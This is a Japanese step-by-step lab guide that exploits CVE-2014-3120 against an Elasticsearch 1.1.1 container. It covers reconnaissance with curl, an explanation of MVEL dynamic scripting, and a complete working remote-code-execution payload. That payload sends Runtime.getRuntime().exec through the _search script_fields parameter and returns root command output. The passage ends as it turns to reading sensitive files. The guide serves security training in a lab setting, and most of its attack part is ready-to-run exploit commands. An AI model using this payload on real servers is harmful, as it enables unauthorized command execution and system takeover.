
Elasticsearch 1.1.1に対するCVE-2014-3120の悪用を実証するステップバイステップのラボガイド。脆弱性分析、MVELスクリプトによるRCE、Docker環境での権限昇格後の操作をカバーしています。
まず、環境内で実行されているものを確認します。アクティブなコンテナをすべてリストアップします:
docker ps

結果: コンテナ p1/lab10:latest が実行されており、2つのポート を外部に公開しています:
| ポートマッピング | プロトコル |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (要確認) |
0.0.0.0:9300 → 9300/tcp | 不明 |
初期観察: ポート 9200 と 9300 は、Elasticsearch のデフォルトポートとして一般的に知られています。ただし、ポート番号だけに基づいて結論を下すことはできません。他の多くのサービスも任意のポートにバインドできるからです。
⇒ curl で各ポートに直接アクセスして、実際に動作しているサービスを確認します。
curl -i http://192.168.3.137:9300/

レスポンス分析:
curl: (52) Empty reply from server評価: サーバーは TCP 接続 を受け入れましたが (connection refused は発生していない)、HTTP プロトコルでは応答しませんでした。これは ポート 9300 における Elasticsearch Transport プロトコル の挙動と一致します。Transport プロトコルは、クラスタ内のノード間通信に使われるバイナリプロトコルであり、HTTP ではありません。
⇒ 考え方: ポート 9300 はバイナリプロトコルを使用 → curl やブラウザで直接悪用することはできない。ポート 9200(HTTP REST API ポート)の確認に切り替えます。
curl -i http://192.168.3.137:9200/

レスポンス分析:
| フィールド | 値 | 意味 |
|---|---|---|
name | "Rage" | Elasticsearch ノード名 (ランダムな Marvel キャラクター名 - 古い ES バージョンのデフォルト動作) |
version.number | "1.1.1" | 非常に古いバージョン - 2014年4月リリース |
build_timestamp | "2014-04-16T14:27:12Z" | 2014年にビルド |
lucene_version | "4.7" | Lucene 4.7 - 古いインデックスエンジン |
tagline | "You Know, for Search" | Elasticsearch の特徴的な署名フレーズ |
攻撃対象領域の評価:

⇒ 考え方: Elasticsearch 1.1.1 は 動的スクリプティング (Dynamic Scripting) がデフォルトで有効です。クライアントが検索クエリ内にスクリプト (MVEL 式) を送信し、サーバーに実行させることができます。サンドボックスや適切な検証がない場合、攻撃者は悪意のあるスクリプトを注入して システムコマンドを実行 できます。次のステップ: ターゲット上で Dynamic Scripting が実際に有効かどうかを確認します。
Elasticsearch は スクリプティング (Scripting) 機能をサポートしています。クライアントが検索リクエスト内にスクリプト (数式や論理式) を送信し、結果の処理時にサーバーで実行させることができます。Elasticsearch 1.x では、この機能のデフォルトエンジンは MVEL (MVFLEX Expression Language) です。
1.2 より前 の Elasticsearch バージョンでは、動的スクリプティングは デフォルトで有効 です (script.disable_dynamic: false)。これは次のことを意味します:
_search API の script_fields パラメータを介して 任意のスクリプト を送信できるjava.lang.Runtime.getRuntime().exec() を呼び出して システムコマンドを実行 できるscript_fields の仕組みscript_fields を含む検索リクエストが送信されると、Elasticsearch は以下を実行します:
_search API を介して JSON リクエストを受け取るscript_fields フィールドを解析 → 実行する script を見つけるJava でシステムコマンドを実行する最も一般的な方法は次のとおりです:
Runtime.getRuntime().exec("command");
MVEL は Java クラスへの フルアクセス を持つ式言語として、これを直接呼び出すことができます:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
各部分の説明:
| 部分 | 説明 |
|---|---|
import java.io.* | Java IO クラスをインポート |
Runtime.getRuntime() | Java Runtime インスタンスを取得 |
.exec("id") | シェルコマンド id を実行 |
.getInputStream() | プロセスの出力ストリームを取得 |
new Scanner(...).useDelimiter("\\A").next() | 出力全体を文字列として読み取る |
⇒ 考え方: Elasticsearch では、RCE の出力は レスポンス内に直接返されます。ファイルにリダイレクトして読み戻す必要はありません。これにより、エクスプロイトはよりクリーンで検証も高速になります。
ターゲットが Elasticsearch 1.1.1 であると特定したら、次のステップとして 動的スクリプティング (Dynamic Scripting) が実際に有効かどうかを検証します。
CVE-2014-3120 は、Elasticsearch がクライアントに _search リクエスト内でのスクリプト送信を許可するという事実を悪用します。スクリプトがサーバー側で実行された場合、攻撃者は無害な式を、Java Runtime を呼び出してシステムコマンドを実行するペイロードに置き換えることができます。
まず、クエリが少なくとも 1 件の一致結果を持つように、テストドキュメントを作成します。ドキュメントが一致しない場合、script_fields は評価されません。
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
次にインデックスをリフレッシュします:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
次に、無害な MVEL 式を含む script_fields を指定した _search リクエストを送信します:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

スクリプト "1+1" を送信すると、サーバーは結果 2 を返します。これは、Elasticsearch が _search リクエストを受け取るだけでなく、動的スクリプトをサーバー側で実行している ことを証明します。
⇒ 動的スクリプティング はターゲット上で有効です。
ターゲットは Elasticsearch 1.1.1 であり、1.2 より前のバージョンです。これは CVE-2014-3120 のエクスプロイト要件と一致します。Elasticsearch 1.2 より前では動的スクリプティングがデフォルトで有効であり、リモートの攻撃者が検索リクエストを介して MVEL 式/Java コードを実行できるようになります。
script_fields が Elasticsearch によってサーバー側で実行されることを、無害な式 "1+1" が [2] を返すことで検証しました。
これは、ターゲットが標準的な検索を許可するだけでなく、クライアントが MVEL スクリプト を送信し、_search 処理中にサーバーで評価させることも許可していることを証明します。
CVE-2014-3120 の場合、重大なリスクは、Elasticsearch 1.1.1 の MVEL が Java クラスにアクセスできるという事実にあります。したがって、攻撃者は "1+1" のような数式を送信する代わりに、Java Runtime を呼び出すスクリプトを送信できます:
Runtime.getRuntime().exec("command")
これは、新しいプロセスを作成してオペレーティングシステム上でコマンドを実行するための標準的な Java API です。
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
RCE ペイロード:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

ペイロードの内訳:
| 部分 | 目的 |
|---|---|
"size": 1 | 結果を 1 ドキュメントに制限 |
"query" → "match_all" | すべてのドキュメントに一致 (インデックス内に少なくとも 1 ドキュメント存在する必要がある) |
"script_fields" → "exploit" | MVEL スクリプトを実行する計算フィールドを定義 |
"script": "import java.io.*; ..." | id コマンドを実行して出力を返す MVEL 式 |
結果:
レスポンスは、id コマンドの出力を含む fields.exploit フィールドを返します:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
分析:
ペイロードは、script_fields 内の MVEL スクリプトを介して Runtime.getRuntime().exec("id") を呼び出すことに成功しました。レスポンスが id コマンドの出力を返すという事実は、コマンドがサーバー側で実行されたことを証明します。
結果 uid=0(root) gid=0(root) groups=0(root) は、コンテナ内の Elasticsearch プロセスが root 権限で実行されていることを示します。
RCE を確認した後、機密ファイルの読み取りを試みて、実際の権限を検証する必要があります: